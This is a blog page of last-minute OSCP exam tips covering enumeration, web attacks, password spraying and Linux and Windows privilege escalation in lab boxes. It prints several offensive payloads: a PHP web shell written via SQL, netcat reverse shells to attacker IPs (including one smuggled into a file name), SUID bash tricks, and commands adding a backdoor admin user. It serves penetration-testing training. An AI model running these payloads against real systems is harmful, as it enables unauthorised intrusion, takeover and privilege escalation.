> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# OSCP Last Minute Tips

## Introduction

***

If you're looking for a more detailed methodology for navigating OSCP boxes, check [this](/oscp/methodology) out. The tips here are some quick tricks to try when you are running out of ideas.

<img src="https://mintcdn.com/hackwithmike/APyIqPgZesWRxd7D/assets/banners/random.png?fit=max&auto=format&n=APyIqPgZesWRxd7D&q=85&s=59e4b836eec1277b00f0d2400b0a243d" className="w-4/5 max-w-xl h-auto mx-auto block" noZoom width="858" height="442" data-path="assets/banners/random.png" />

## General Tips (Applicable to all OS)

***

### Initial Foothold

#### Initial Scans & Enumeration

<div className="tab-frame">
  <Tabs>
    <Tab title="Rerun Scans">
      Scans can sometimes return false positives or missing ports due to different reasons.

      * Revert all the machines at the start of the exam.
      * Revert & rescan the machines midway through your exam, especially when you cannot find a way through.
    </Tab>

    <Tab title="Beware of Rabbit Holes">
      OSCP is an enumeration exam, so there will be a lot of intentionally misleading paths and dead ends (rabbit holes). Moreover, the actual solution is usually broken into partial clues scattered across different services, such as a username on Port 80 (web page) and a password in a file on Port 21 (FTP).

      * Don’t spend too much time at the same spot - Make sure you have covered every other area first.
      * Take thorough notes during your enumeration so you can piece the puzzle together.
    </Tab>

    <Tab title="Scan UDP Ports">
      **NEVER forget about UDP Ports!** There could be vulnerable UDP services such as SNMP (running on Port 161/162).

      * Do a quick UDP scan and look for open ports.
      * Ports with `open | filtered` status are likely just filtered ports.

      ```sh theme={null}
      sudo nmap '<ip>' -F -sU -vv
      ```
    </Tab>

    <Tab title="Poking Ports">
      If a port's service cannot be identified by Nmap, use `netcat` or `telnet` to manually interact with the port.

      * Send random strings (and press enter) to see if the port responds.

      * Send common command strings such as `help` or `ls` to check if the port is serving some sort of terminals.

      * Send `GET / HTTP 1.1`, press enter, and send `Host: test`, and press enter twice to see if it is running a web server. Alternative, try `curl` or `wget` on the port (`http://<ip>:><port>`).

        * This will less likely work since Nmap usually picks web servers up. You can try it regardless if nothing else worked.

      * Also, googling the particular port (Google: "Port XXX service") is always useful.
    </Tab>
  </Tabs>
</div>

#### Shells & Connections

<div className="tab-frame">
  <Tabs>
    <Tab title="Firewalls & Open Ports">
      Always prioritize using **open ports** on the target machine for listening to reverse shells (i.e., the listening port on our Kali when running `netcat` listener.)

      * Open ports on the target machine are more likely to have exceptions for inbound & outbound connections.
      * Alternatively, try common ports: 21, 22, 139, 445, 80, 443, 3389, etc.
      * Port 4444 is usually blocked for security reasons.
    </Tab>

    <Tab title="Adding hosts to /etc/hosts">
      Remember to add potential **hostnames & domains** into our local kali's `/etc/hosts` file.

      * If this is the intended path, you will likely see emails / URLs on the web pages that give you information on the hostname / domain.

        * It is also possible that the box name / service name is used as the hostname.

      * This may reveal pages with hostname restrictions, or pages behind virtual hosts.

      * Also, try enumerate the web pages before adding the hostname. The server may react differently to different hostnames, or no hostname.
    </Tab>

    <Tab title="Using a good listener">
      Having a decent shell listener will save you a lot of time in running commands and potentially respawning shells. Here are my go-to listeners:

      * [Penelope](https://github.com/brightio/penelope) is my default listener for Linux Reverse shells. The tool automatically upgrades your shell, as well as allows multiple sessions connecting to the same port. It also make killing an unresponsive shell way easier with the escape Menu key.
      * For Windows, Penelope has a limited prompt length, which has cause me trouble in running some lengthier PowerShell commands, so I use `rlwrap nc -nlvp <port>` instead. (Learn about [rlwrap](https://github.com/hanslub42/rlwrap) here.)
    </Tab>
  </Tabs>
</div>

#### File Shares

<div className="tab-frame">
  <Tabs>
    <Tab title="Is there also a web server?">
      When there is a file share (e.g., SMB / FTP) and a web server running together on the machine, always check if the **web server hosted under the file share's directory**. If that's the case, check if we can:

      * Upload a web shell to the file share, and trigger it via the web page.
      * Read sensitive config files and look for credentials to access the web page.
    </Tab>

    <Tab title="Try uploading anyway!">
      Tools like `NetExec` are extremely useful, but they can sometimes be inaccurate. I once checked an SMB share with `NetExec`, and it indicated that I only had read access to the share. However, I was able to **upload files to the SMB share** regardless.

      * Always try using commands like PUT to test if you can upload any files. A quick check like this may save you hours of scratching your head, wondering what went wrong!
    </Tab>

    <Tab title="Default / Weak Credentials">
      File shares can often run on weak / default credentials. A quick check never hurts.

      * `ftp:ftp`
      * `admin:admin`
      * `anonymous:anonymous` (Or simply just no password)
    </Tab>
  </Tabs>
</div>

#### Web Services

##### Content Discovery & Enumeration

<div className="tab-frame">
  <Tabs>
    <Tab title="Directory Busting">
      Here are all my directory busting tips and tricks:

      * Try 2 or more different directory busting tools, as well as wordlists. Personally I use **FeroxBuster** and **DirSearch**, with `/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt`, `/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt` and `/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`.

      * Always do **recursive directory busting**.

        * `FeroxBuster` does this by default, but it can be slow sometimes.

      * Try add **file extensions** (e.g., `.pdf`, `.php`, etc.) if the initial busting returns nothing.

        * For example, `/index` may returns 404, but `/index.php` may returns 200.

      * Try add box name / service name / username as the first directory.

        * For example, if you suspect WordPress is running on the web server, but you can't find anything, try do directory busting with this base URL instead: `example.com/wordpress/`.

      * For Directory-like results that do not show as "Open Directory Listing " (e.g., `example.com/test/`), always try visit the URL anyway, as some pages are configured with hidden index pages.
    </Tab>

    <Tab title="Subdomain Enumeration">
      Always perform subdomain enumeration. I find this less common in OffSec's Proving Ground (PG) boxes, but very common in HTB & TryHackMe boxes.

      * **Gobuster**'s `vhost` mode works best for me:

      ```sh wrap theme={null}
      gobuster vhost -u "http://<ip>" -t 500 -w "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt" --append-domain --domain "<domain>" | grep "Status: 200"
      ```

      * There could be hidden admin panels, API endpoints, sites that are still in development (.git lying somewhere maybe?), etc.

      * Always remember to perform **directory busting** on the newly discovered subdomain endpoints.
    </Tab>

    <Tab title="Exposed .git Directory">
      The `.git` directory is a gold mine if you found it via directory busting. Some wordlists may miss it, so make sure you run multiple wordlists and tools.

      * Use [git-dumper](https://github.com/arthaud/git-dumper) to dump the `.git` directory (Amazing tool).

      * Suppose the `.git` directory is located at `example.com/.git/`:

      ```sh wrap theme={null}
      git-dumper http://example.com ./output_folder
      ```

      * Read through the source codes to look for hard-coded credentials, session tokens, or vulnerable codes such as LFI & SQL injections.

      * Use `git show` and `git diff` to look for commit changes. There may be credentials that were deleted, but were logged in the commit changes.

      * Always look for secrets in older commits (e.g., initial commits). Developers may have left hardcoded secrets, such as database connection strings, passwords, etc., that were removed in later commits.
    </Tab>
  </Tabs>
</div>

##### Manual Enumerations

<div className="tab-frame">
  <Tabs>
    <Tab title="Wepage & Source Code Review">
      Always look for potential usernames / emails / credentials on page contents.

      * Check the rendered client-side HTML & JavaScript codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).

      * Understand all functionalities, such as user login, file upload, etc, so that you can focus on or skip relevant attack vectors based on the existing functions.

      * If you have access to the source code (e.g., from dumping the `.git` directory), look for hardcoded credentials, session tokens, or vulnerable functions that may allow attacks such as LFI, SQLi, RCE, etc.
    </Tab>
  </Tabs>
</div>

##### Path Traversal & File Inclusion

<div className="tab-frame">
  <Tabs>
    <Tab title="Download Functions">
      Download functions are often vulnerable to File Inclusion, especially with parameters such as `/download.php?file=`.

      * If the user supplied file name / path is not validated & sanitized, attackers may retrieve arbitrary file from the server.
    </Tab>

    <Tab title="Language Specific Config Files">
      When attempting to read files with local file inclusion, we should always understand the technology running underneath the application & services, so that we can target the corresponding configuration files for credentials.

      * For example, Ruby on Rails has encrypted sensitive information in the `config/credentials.yml.enc` file, with its decryption keys stored in `config/master.key`, where flask application may have a `config.py` file in the web root.
    </Tab>
  </Tabs>
</div>

##### Business Logic

<div className="tab-frame">
  <Tabs>
    <Tab title="File Upload">
      If file upload is possible, it is usually the following scenarios:

      1. We can upload and access a **web shell / reverse shell** (May require restriction bypass).

      2. We can **overwrite** some important system files and bypass authentication.

         * E.g., Overwriting the SSH public key with our public key.

      3. We can upload a malicious file and wait for **user interactions**.

         * Less likely in the exam - and there should be hints if it is intended (e.g., "An administrator will review this file.")

      4. It is also possible that there is a parsing vulnerability that would lead to **remote code execution** by uploading a malicious file (e.g., ZIP slip, XXE injections, XSS attacks, etc.).

      5. It is a rabbit hole :'(
    </Tab>

    <Tab title="HTTP Request Methods">
      Try switching between different HTTP request methods (e.g., `GET` / `POST` / `PUT`) to see if the server responds differently. Detailed error messages may return, etc.

      * Try changing a `GET` request to a `POST` request, and vice versa.

      * Supply some random parameter values (e.g., `GET /index.php?test=123`) to check if the server responds with hints on the correct parameters.

      * Some web servers may support `PUT` requests, which can be used to upload files even if there is no file upload functionality.
    </Tab>
  </Tabs>
</div>

##### Input Validation

<div className="tab-frame">
  <Tabs>
    <Tab title="SQL Injections">
      Don't just spam `'OR 1=1 -- //` for potential SQL injections, as SQLi is not always about authentication bypass. Here are a few SQL injections tips & tricks:

      * Using `'`  is the most common way to test for error-based SQL injections. However, don't miss out on Blind SQLi (with sleep /delay functions). Try double quotes too (`"`).

      * If SQL injection is possible, try the following items:

        * **Authentication Bypass**

        * **Remote Code Execution** (MySQL UDF, MSSQL xp\_cmdshell, etc.)

        * **Dumping Database Info**

        * **System File Read / File Write**

      * Pay attention to the SQL service in use, as different SQL services have different syntaxes.

        * For example, commenting out is `-- -` in MSSQL, but `-- //` in MySQL.
    </Tab>
  </Tabs>
</div>

##### File Permissions

<div className="tab-frame">
  <Tabs>
    <Tab title="File Read">
      There is a lot that we can look for with local file read vulnerability.

      * `/etc/passwd` & `/etc/shadow` files on Linux.

      * SSH Keys (Usually located under `/home/<user>/.ssh` on Linux, or `C:\Users\<user>\.ssh` on Windows. They can also be on the user's Desktop, or other similar folders.)

        * Especially when you see SSH is up on the server.

      * Config files (Especially for web servers & file shares)

        * May require some research on the applications, languages, and services in use. Go through the documentations if needed.

        * Files like `config.php` in PHP applications usually hold the database credentials.

        * `.htaccess` may contain useful information. It usually lies on the web root.

      * Log Files (E.g., Access Logs, Error Logs, etc.)

      * History Files (E.g., Bash History, PowerShell History)

      * For Linux: `/proc` files. (See more [here](https://highon.coffee/blog/lfi-cheat-sheet/#procselfenviron-lfi-method))
    </Tab>

    <Tab title="File Write">
      If file write is possible, there are usually 2 scenarios:

      * We can write and access a **web shell** for code execution.

        * Look for an accessible web directory that we can visit and trigger the web shell.

        * For PHP apps, if `phpinfo()` is present, we can check the full web directory path.

        * For Linux, try `/var/www/html/` as the web root.

        * We may also need to enumerate the web root directory. Check documentations, look at error outputs, review source codes, etc.

      * We can **overwrite** some important system files and bypass authentication.

        * E.g., Overwriting the SSH public key with our public key.

        * E.g., Appending a new root user to the `/etc/passwd` file.

        * E.g., Rewriting the `.htaccess` to bypass access restrictions, and allow uploading & execution of certain file extensions (e.g., `.php`).
    </Tab>
  </Tabs>
</div>

#### Databases

<div className="tab-frame">
  <Tabs>
    <Tab title="SQL File Read & Write">
      Always check if the SQL service allows file read / write. Follow the same tips on exploiting file read & write in the Web Service section.

      For **MSSQL**:

      ```sql title="File Read" wrap theme={null}
      SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
      ```

      ```sql title="Enabling File Write" wrap theme={null}
      -- Requires Admin Privilege
      sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'Ole Automation Procedures', 1; RECONFIGURE
      ```

      For **MySQL**:

      ```sql title="File Read" wrap theme={null}
      SELECT LOAD_FILE("/etc/passwd");
      ```

      ```sql title="File Write" wrap theme={null}
      SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';
      ```
    </Tab>

    <Tab title="SQL Code Execution">
      If misconfigured, it is possible to execute system-level commands via SQL services.

      * For MSSQL, we can use `xp_cmdshell` to execute commands if it is enabled, or we can enable it if we have SA privilege.

      ```sql wrap theme={null}
      EXECUTE xp_cmdshell 'whoami';
      ```

      * For MySQL, user-defined functions (UDF) are required to execute system commands, and it is mostly used during privilege escalation, not initial access.
    </Tab>

    <Tab title="Dumping Credentials / Secrets">
      Suppose you have obtained access to the SQL database, always check the non-default databases and tables to look for user credentials.

      * For examples, many CMS store user **password hashes** in a `users` table. We can dump the hashes and crack them to obtain plaintext passwords.

      * In some cases, we may be dumping **session tokens** and use them to authenticate as a privileged user in the web application.

      * For MySQL, we should also dump the **MySQL user credentials** with the following command:

      ```sql wrap theme={null}
      SELECT * FROM mysql.user;
      ```
    </Tab>
  </Tabs>
</div>

#### Login & Password Attacks

<div className="tab-frame">
  <Tabs>
    <Tab title="Default Credentials">
      Always try default or weak credentials - admin / admin, admin / password, you name it. These are easy quick wins and should always be tried first before doing any hard work.

      * Google the service name & version + default credentials.

      * Try `admin:admin` and all those similar combinations of common credentials.
    </Tab>

    <Tab title="Try Username as Password">
      It is always possible that the passwords are configured conveniently as the username or the service's name. For example, the [default pre-built Kali Linux VM image](https://www.kali.org/docs/introduction/default-credentials/) uses the credential pair: `kali:kali`.

      * Spray the usernames as passwords.

        * E.g., `john:john`, `mary:mary`, etc.

      * Also, try use service names as passwords.

        * E.g., for Tomcat, use `tomcat:tomcat`, for FTP, use `ftp:ftp`, etc.
    </Tab>

    <Tab title="Password Spraying">
      Suppose you have a few different potential usernames and passwords, the best approach is to **spray all passwords** to all identified usernames in all combinations.

      * For example, if you have found the following user list: `peter, john, mary`, with the following passwords, `P@ss123!, Letme1n#`, then you will have 6 possible combinations in total. However, you should also include default usernames such as `administrator` in to the user list, making it 8 possible combinations in total.

      * Just put all the usernames in a `user.txt`, and the passwords in a `pass.txt`, and supply the files as arguments when running tools like hydra and NetExec.
        Always remember **to spray them on ALL services**, such as webpages, SQL, SMB, FTP, SSH, and anything with a login function.
    </Tab>

    <Tab title="Run brute-forcing anyway">
      While it is unlikely for many cases, it never hurts to run some quick brute-force attacks, especially when you have run out of ideas.

      * Run a quick brute-force login attack with `rockyou.txt` on available services. If this is intended, it should be cracked right away (or at least under 10-20 minutes).
    </Tab>
  </Tabs>
</div>

#### QoL Tips & Troubleshooting

##### Using Public Exploits

<div className="tab-frame">
  <Tabs>
    <Tab title="Revert!">
      When in doubt, always just **revert** the machine.

      * Sometimes our previous exploitation attempts may have caused unexpected behaviours in the target machine.

      * I once tried to set up some port-forwarding rules on the machine to run an exploit, but I was using the wrong exploit, so the attack did not work. I later found and ran the correct exploit, but it was not working as intended, likely due to the previous port-forwarding attempts. Reverting the machine solved the issue.
    </Tab>

    <Tab title="Authenticated Exploits">
      If the exploit does not specify "**Authenticated**",  try running it **without authentication**.

      * For example, it is possible that we can directly send a crafted HTTP request to an internal endpoint without needing to be logged in.

      * Here's an example of a PoC that looks like an authenticated exploit, but it can actually be used without authentication: [Free School Management Software 1.0 - Remote Code Execution (RCE)](https://www.exploit-db.com/exploits/50587).
    </Tab>

    <Tab title="Appending http://">
      Try adding `http://` to the URL parameter if the web exploit is not working.

      * E.g., `192.168.1.1` --> `http://192.168.1.1`.
      * As some exploits are written with a full URL target in mind.
      * Always read through the exploit codes to understand how the payload is crafted.
    </Tab>

    <Tab title="Run different versions">
      For some vulnerabilities, there may be **multiple available exploits** online. I always recommend to try out the simpler ones first, as the more complex ones can be much more difficult to debug.

      * Even when the simpler ones do not work for the first time, I would go through the exploit codes to make sure I am not making mistakes in supplying the arguments, haven't clean up the exploit codes, etc.

      * There may also be multiple exploits on the same attack vector. For example, a particular version of a CMS can have both a File Read vulnerability and an Authentication Bypass vulnerability. It will never be a bad idea to try both, but it is better to try understanding what exactly are we looking for in the attack.

      * Some exploits require authentication / tokens and some do not. Always try every available exploits on the vulnerable version.
    </Tab>
  </Tabs>
</div>

##### Troubleshooting Payloads

<div className="tab-frame">
  <Tabs>
    <Tab title="Encoding Payloads">
      Try to encode your payloads in different formats when they are not working (and you believe they are supposed to).

      * Always URL-encode the payloads for web exploits, especially those that are sent through URLs (`GET` requests).

      Here is another example payload of inject a command into a Linux file name:

      ```sh wrap theme={null}
      cp cat.jpg '|cat"`nc 10.10.10.10 4444 -e /bin/bash`".jpg'
      ```

      * This will not work due to the slash in `/bin/bash` . The Linux system cannot process filenames with slashes.

      * To make this exact payload work, we have to encode the payload in Base64:

      ```sh wrap theme={null}
      cp cat.jpg '|en"`echo <base64-encoded-payload> | base64 -d | bash`".jpg'
      ```
    </Tab>

    <Tab title="Use Busybox!">
      Often times, we may find ourselves in a situation where we do not have access to common Linux utilities like `nc` or `wget` (e.g., in the Alpine Linux image for Docker). In such cases, we can use BusyBox, which is a lightweight alternative that provides most of the common Linux utilities.

      To run reverse shell payloads, we can use `busybox nc`.

      ```sh wrap theme={null}
      busybox nc '<attacker_IP>' 80 -e sh
      ```

      To download files, we can run `busybox wget`.

      ```sh wrap theme={null}
      busybox wget '<attacker_IP>/linpeas.sh'
      ```
    </Tab>
  </Tabs>
</div>

### Privilege Escalation

#### Initial Scans & Enumeration

<div className="tab-frame">
  <Tabs>
    <Tab title="Automated Enum Scripts">
      Always run multiple different enumeration scripts when stuck.

      * For example, I always run `WinPEAS`, `PowerUp.ps1`, and `jaws-enum.ps1` on a Windows target, as each of them has a different way of presenting their output, and they sometimes use different methods in checking the same vulnerabilities.

      * For Active Directory targets, I always run `bloodhound-python-ce` and `rusthound-ce` as they have slightly different implementations and often times find some misconfigurations that the other one misses.

      * For Linux, I mostly run `linpeas.sh` because it is just too good. But other tools such as `LinEnum` and `unix-privesc-check` are also available.

      * This also helps to filter out potential false positives.
    </Tab>

    <Tab title="Re-read the outputs!">
      Sometimes the automated scripts (or the exploits) may have given you what you need, they may just be right under your nose. Always **re-read the output line-by-line** if you are stuck!

      * I was once stuck for more than hours on a pivoted user, as I can't find anything useful on their directories, nor authenticate to other services. I finally gave up and re-ran WinPEAS for one last time, and I realize there was a password stored in the registry that I had missed that line of output the whole time.
    </Tab>
  </Tabs>
</div>

#### Service Enumeration

<div className="tab-frame">
  <Tabs>
    <Tab title="Application Versions">
      Don't sleep on the service version when performing privilege escalations. The attack path could be to exploit an outdated and vulnerable internal application with publicly available exploits.

      * You can check them either by interacting with the binary in CLI (e.g., adding `-h`), or running the application in GUI and check the about section.
    </Tab>

    <Tab title="Port-forwarding Internal Services">
      If a vulnerable service is only hosting locally, and the exploit cannot be run locally on the victim machine, we may forward the port that vulnerable service runs on to an external port.
    </Tab>
  </Tabs>
</div>

#### Login & Password Attacks

<div className="tab-frame">
  <Tabs>
    <Tab title="Password Spraying">
      Similar to what we do in initial access, we can run password spraying attacks on any service that has an authentication function.

      * For example, try using the user's password on the web application to authenticate to the `sudo` command. Try using another user's password to authenticate too.

      * Perhaps the database password can also be used to authenticate to other services. Always remember to try all combinations.

      * I personally find it useful to have a list of all usernames and passwords on my notes whenever I am doing a box.
    </Tab>

    <Tab title="SSH Key Spraying">
      SSH keys can also be sprayed both externally and internally.

      * Some SSH keys may be configured to only work in the internal network, or even in the local machine (127.0.0.1). If spraying them externally does not return anything, try to spray them again internally. For example, run this command on the target machine:

      ```sh wrap theme={null}
      ssh root@127.0.0.1 -i id_rsa
      ```
    </Tab>
  </Tabs>
</div>

#### Hunting Sensitive Information

<div className="tab-frame">
  <Tabs>
    <Tab title="Config Files">
      Always enumerate config files for more credentials, even after you obtained an initial shell.

      * Say if you uploaded a web shell and has successfully obtained a shell as `www-root`. We should always go back to the web server directory and go through all the readable config files to look for hard-coded credentials. In many cases, we may find database connection credentials that were previously unknown to us.

      * As **password reuse** is very common, we can try to use the obtained credentials as is, or we can also spray the password to other usernames to see if different users share the same password.

      * A QoL tip: password hashes in web app configs may be encoded (e.g., base64). Always throw them in [CyberChef](https://gchq.github.io/CyberChef/) to see if they may be encoded.
    </Tab>

    <Tab title="Interesting Files">
      Thorough enumeration is always the key. Don't skip any potentially interesting files!

      * I have once found the root password within a mail file in the `/var/mail` directory, which usually does not contain any files.
      * The `/opt` always have something interesting.
      * Check any unexpected files / directories in the system root (`/`).
    </Tab>
  </Tabs>
</div>

#### Pivoting & Lateral Movements

<div className="tab-frame">
  <Tabs>
    <Tab title="Lateral Movement">
      Quite often the attack path can involve **lateral movements between multiple users**, before reaching the final root account. So if you see more than one users in under the `/home` or `c:\users` directory, there is a high likelihood that several lateral movements are needed.

      * Let's say you obtained a shell as `www-data`. It is possible that you cannot escalate to root directly from `www-data`, but instead have to find a password in the web config file, spray that password on a local user `john`, then you exploit an internal service as `john` to gain access to another user `peter`, and finally escalate to root by `sudo` with `peter`.
    </Tab>
  </Tabs>
</div>

## Linux-specific Tips

***

### Privilege Escalation

#### Services & Processes

<div className="tab-frame">
  <Tabs>
    <Tab title="Analysing Binaries">
      Run `strings` & `strace` on suspicious binaries.

      * This may reveal plaintext passwords, commands, other executables being called, potential Shared Object injection, etc.
    </Tab>

    <Tab title="Analysing System Processes">
      When running `ps aux`, don't just grep the output from the root user.

      * Always also grep the processes that belongs to other human users, as we may learn what have other users executed, as well as discover potential credentials used within the command they executed.

      * Both LinPEAS and [Pspy](https://github.com/DominicBreuker/pspy) can identify processes & commands running on the system, especially those ran during startup, which might reveal useful information about custom scripts, potential misconfigurations, or hardcoded credentials in commands.
    </Tab>
  </Tabs>
</div>

#### Hunting Sensitive Information

<div className="tab-frame">
  <Tabs>
    <Tab title="Alias">
      Don't forget to run the alias command to check what command alias were set.

      * In realistic scenarios, system administrators may have created command alias for commonly used commands, and some of these commands may contain user credentials.
    </Tab>

    <Tab title="/media, /mnt & /opt">
      Always check the `/media`, `/mnt` and `/opt` directories for uncommon applications and files.

      * The `/opt` directory often contains non-standard installations of services, or directories that contain sensitive information.

      * While less commonly seen, the `/media` and `/mnt` directories sometimes contain juicy files, such as USB drives, mounted NFS shares, etc.

      * The `/tmp` folder is also always worth checking.
    </Tab>

    <Tab title="Environment Variables">
      Check environment variables with `env` or `printenv`.
    </Tab>

    <Tab title="binwalk">
      For compressed & archive files, we can use the `binwalk` command to read the archives within the file:

      ```sh theme={null}
      binwalk [filename]
      ```

      Since spreadsheet files such as .xlsx and .xlsm are just compressed files, we can read the Marcos in the format of XML files by extracting them from the excel files.

      We can do this to extract all files from the XLSM file:

      ```
      binwalk -e [filename]
      ```
    </Tab>
  </Tabs>
</div>

#### Group Membership

<div className="tab-frame">
  <Tabs>
    <Tab title="Privileged Groups">
      Group Membership can be a privilege escalation vector if our user belongs to some of the privileged groups. Also check if other users are in these interesting groups, as they may be the target for lateral movements.

      * Common privileged groups on Linux:
        * **LXC / LXD** (Abusing Container Privileges)
        * **Docker** (Abusing Container Privileges)
        * **Disk** (Full File Read & Write Privileges)
        * **ADM** (Privileges to Read Logs)
    </Tab>

    <Tab title="Custom Groups">
      Custom group membership can be an indication of **group-specific permissions** or access to certain files, directories, or applications that can be used in privilege escalation (especially in a simulated box setting).
    </Tab>
  </Tabs>
</div>

#### Scheduled Tasks / Cron Jobs

<div className="tab-frame">
  <Tabs>
    <Tab title="pspy">
      [Pspy](https://github.com/DominicBreuker/pspy) is the best tool to monitor all processes and potential cronjobs on a Linux machine.

      * We can monitor all live running processes without needing root privileges. This is extremely useful for detecting cronjobs that runs in a fixed interval (e.g., 1 minute),

      * This is especially useful when we do not have access to crontab, or crontab is not showing anything but we suspect there are cronjobs.
    </Tab>

    <Tab title="Custom Scripts">
      Sometimes we may not have visibility on the processes and crontabs to validate if there are any cronjobs running. However, we should always look for any suspicious, custom script files within the system.

      * It is possible that the root user is running that particular script file as a cronjob, but we just don't have the visibility on the actual running process.
    </Tab>

    <Tab title="Exploiting Cronjobs">
      Remember that all GTFOBins are not limited to Sudo & SUID - as long as they can be executed by root (e.g., CronJob), we can utilize the same attacks.

      When exploiting cronjobs, a common attack technique is to use the root privilege to create a copy of the Bash binary and adding the SUID bit to that copied binary. Below is an example payload:

      ```sh wrap theme={null}
      cp /bin/bash /tmp/bash & chmod +s /tmp/bash
      ```

      * However, I have found this payload occasionally not working.

      Here are some other alternative payloads you can run:

      1. Simply adding the SUID bit to the /bin/bash binary directly:

      ```sh wrap theme={null}
      chmod u+s /bin/bash
      ```

      2. Create a reverse shell to your Netcat listener. The connected shell will be running as root:

      ```sh wrap theme={null}
      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 > /tmp/f
      ```

      Moreover, the exploitation techniques in [GTFOBins](https://gtfobins.github.io/) are not limited to sudo & SUID attacks only. As long as the process or binary can be executed by root (here via root-user Cronjobs), we can apply the same technique to escalate our privileges.
    </Tab>
  </Tabs>
</div>

## Windows-specific Tips

***

### Initial Foothold

#### Coercion Attacks

<div className="tab-frame">
  <Tabs>
    <Tab title="NTLM Theft">
      Suppose this is the intended attack path, there should be hints on locations and areas that users may visit and interact with.

      * For example, there may be a feedback form with a note saying that the administrator will go through all of the comments.

      * Alternatively, it is also possible that we can force an NTLM theft without needing the user to react to our payloads. Try to look for user input areas where we can direct the connection towards our controlled SMB server, for examples:

        * `xp_dirtree` in MSSQL.

        * File Inclusion that allows visiting an SMB share.

        * A function that will visit any URLs (including SMB URIs).
    </Tab>
  </Tabs>
</div>

#### Shells & Connections

<div className="tab-frame">
  <Tabs>
    <Tab title="PowerShell Payloads">
      When running a Windows reverse Shells, always use the PowerShell Base64 payload, as it is less likely to be corrupted midway during transmission.
    </Tab>

    <Tab title="Slashes">
      If a Windows-specific payload / PoC is not working, we can try changing forward slashes (`/`) to backslashes (`\`), and vice versa.

      * Different tools and exploits may be crafted in different languages and formats, so that the format of slashes are not consistent across them.
    </Tab>

    <Tab title="Non-interactive Shell">
      If the shell was not able to run interactive commands (E.g., interacting with `mysql` windows), we can try to run single commands with one-liner.

      * E.g., Instead of running `mysql.exe` and use the interactive windows, directly run `mysql.exe -e "use test.db; show tables"`.
    </Tab>
  </Tabs>
</div>

### Privilege Escalation

#### Kernel exploits

<div className="tab-frame">
  <Tabs>
    <Tab title="Try Multiple Exploits">
      If we are certain that the kernel is vulnerable, we should always try to run a few different applicable exploits, since not all of them may work due to multiple reasons.
    </Tab>

    <Tab title="GodPotato">
      [GodPotato](https://github.com/BeichenDream/GodPotato) is by far the most reliable tool for exploiting Token Impersonation.

      One caveat is that it often cannot run stable shells. To mitigate this, we can simply add a new admin user.

      ```powershell wrap theme={null}
      .\GodPotato.exe -cmd "cmd /c net user hacker password123! /add && net localgroup administrators hacker /add"
      ```
    </Tab>
  </Tabs>
</div>

#### Group Memberships

<div className="tab-frame">
  <Tabs>
    <Tab title="Restore Local Service Privileges">
      Sometimes we may have compromised a LOCAL SERVICE or NETWORK SERVICE account, but its privileges were missing. This is because the account may be configured to be running with a restricted sets of privileges.

      * ~~It is possible to recover its permissions by creating a scheduled task. The new process created by the Task Scheduler Service will have all the default privileges of the associated user account.~~

      * ~~You may read more about this on [here](https://github.com/itm4n/FullPowers) and [here](https://itm4n.github.io/localservice-privileges/).~~

      The above method was patched in the newer versions of Windows. To restore the service account's full privilege, we need to login with a service logon type (5) token. This can be achieved by running `RunasCs.exe` if we have the cleartext password of the service account that we control.

      ```powershell wrap theme={null}
      .\RunasCs.exe '<svc_acc>' '<password>' powershell.exe -r 10.10.10.10:4444 --logon-type 5 --bypass-uac
      ```
    </Tab>
  </Tabs>
</div>
